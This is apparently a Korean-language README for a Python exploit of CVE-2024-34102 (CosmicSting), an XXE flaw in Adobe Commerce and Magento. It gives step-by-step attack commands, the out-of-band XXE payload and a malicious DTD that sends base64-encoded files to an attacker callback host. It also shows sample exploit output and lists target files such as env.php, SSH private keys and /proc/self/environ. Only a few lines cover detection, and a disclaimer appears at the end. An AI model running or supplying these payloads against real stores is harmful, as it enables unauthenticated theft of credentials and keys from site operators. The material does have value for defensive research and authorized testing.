
CVE-2024-34102용 python3 익스플로잇
CVE-2024-34102(CosmicSting) - Adobe Commerce 및 Magento의 XML External Entity(XXE) 취약점에 대한 익스플로잇입니다.
CVE-2024-34102는 다음에 영향을 주는 치명적인 XXE(XML External Entity) 취약점입니다:
이 취약점으로 인증되지 않은 공격자는 다음을 수행할 수 있습니다:
CVSS 점수: 9.8(치명적)
이 익스플로잇은 다음 사람의 원본 작업을 기반으로 합니다:
# Clone the repository
git clone https://github.com/YOUR_USERNAME/CVE-2024-34102.git
cd CVE-2024-34102
# Install dependencies
pip install -r requirements.txt
python3 exploit.py \
-u https://target.com \
-f /etc/passwd \
-c your-callback.oastify.com
터미널 1 - DTD 서버:
sudo python3 server_dtd.py
터미널 2 - 익스플로잇:
python3 exploit.py \
-u https://target.com \
-f /etc/passwd \
-c your-callback.oastify.com \
--dtd-server YOUR-IP:8000
터미널 1 - DTD 서버:
sudo python3 server_dtd.py
터미널 2 - 콜백 서버(자동 디코딩):
sudo python3 callback_server.py
터미널 3 - 익스플로잇:
python3 exploit.py \
-u https://target.com \
-f /etc/passwd \
-c YOUR-CALLBACK-IP \
--dtd-server YOUR-DTD-IP:8000
-u, --url - 대상 URL(기본 도메인)-f, --file - 서버에서 읽을 파일(예: /etc/passwd)-c, --callback - 콜백 서버(IP/도메인)--dtd-server - DTD 파일을 호스팅할 커스텀 서버--https - 콜백에 HTTPS 사용(기본값: HTTP)python3 exploit.py \
-u https://vulnerable-site.com \
-f /etc/passwd \
-c abc123.oastify.com \
--dtd-server 192.168.1.100:8000
python3 exploit.py \
-u https://vulnerable-site.com \
-f /var/www/html/app/etc/env.php \
-c abc123.oastify.com \
--dtd-server 192.168.1.100:8000
python3 exploit.py \
-u https://vulnerable-site.com \
-f /home/ubuntu/.ssh/id_rsa \
-c abc123.burpcollaborator.net \
--dtd-server 192.168.1.100:8000 \
--https
이 익스플로잇은 데이터 유출을 위해 Out-of-Band XXE 기법을 사용합니다:
<!-- Payload sent to target -->
<!DOCTYPE r [
<!ENTITY % sp SYSTEM "http://your-server/exploit.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>
대상 서버가 악성 DTD를 다운로드합니다:
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://callback/?exploited=%data;'>">
서버가 XML을 처리하고 파일을 읽은 다음 base64로 인코딩하여 콜백으로 전송합니다:
GET /?exploited=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaAo...
echo "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaAo..." | base64 -d
[*] CosmicSting XXE Exploit (CVE-2024-34102)
[*] Target: https://vulnerable-site.com
[+] Callback Server: abc123.oastify.com
[+] Using custom DTD server: 192.168.1.100:8000
[+] DTD URL: http://192.168.1.100:8000/12ec6594.dtd?callback=abc123.oastify.com&file=/etc/passwd&protocol=http
DTD will be dynamically generated with:
[*] Callback: http://abc123.oastify.com
[*] File: /etc/passwd
DTD server is running? Ready to continue? [y/N]: y
[+] Target file: /etc/passwd
[+] Callback URL: http://abc123.oastify.com/?exploited=...
[*] Sending XXE payload to: https://vulnerable-site.com/rest/V1/guest-carts/1/estimate-shipping-methods
[*] Response status: 500
[!] Status 500 - This is normal! XXE may have triggered.
[!] Check your callback server for incoming requests.
[*] Waiting for callback (5 seconds)...
=== CHECK YOUR CALLBACK SERVER ===
[!] Monitor your callback service for incoming HTTP requests
[!] Expected request: http://abc123.oastify.com/?exploited=<base64_data>
To decode the exfiltrated data:
[*] echo 'BASE64_STRING' | base64 -d
[!] Check your Burp Collaborator or Oastify dashboard now!
탐지:
/rest/V1/guest-carts/*/estimate-shipping-methods 엔드포인트에 대한 HTTP 요청 모니터링<!ENTITY)가 포함된 XML 페이로드에 대한 경고대응:
테스트할 가치가 있는 파일:
/etc/passwd
/var/www/html/app/etc/env.php
/var/www/html/app/etc/local.xml
/home/USER/.ssh/id_rsa
/var/log/apache2/access.log
/proc/self/environ
This exploit is provided for educational and security research purposes only.
Using this code to test systems without explicit authorization is ILLEGAL.
You are SOLELY responsible for your actions. Use only on:
✅ Your own test environments
✅ Authorized bug bounty programs
✅ Contracted penetration tests
DO NOT use on:
❌ Systems without authorization
❌ Production environments without permission
❌ Any malicious activity
The author is not responsible for misuse of this code.
⭐ 이 프로젝트가 유용했다면 스타를 남겨주세요!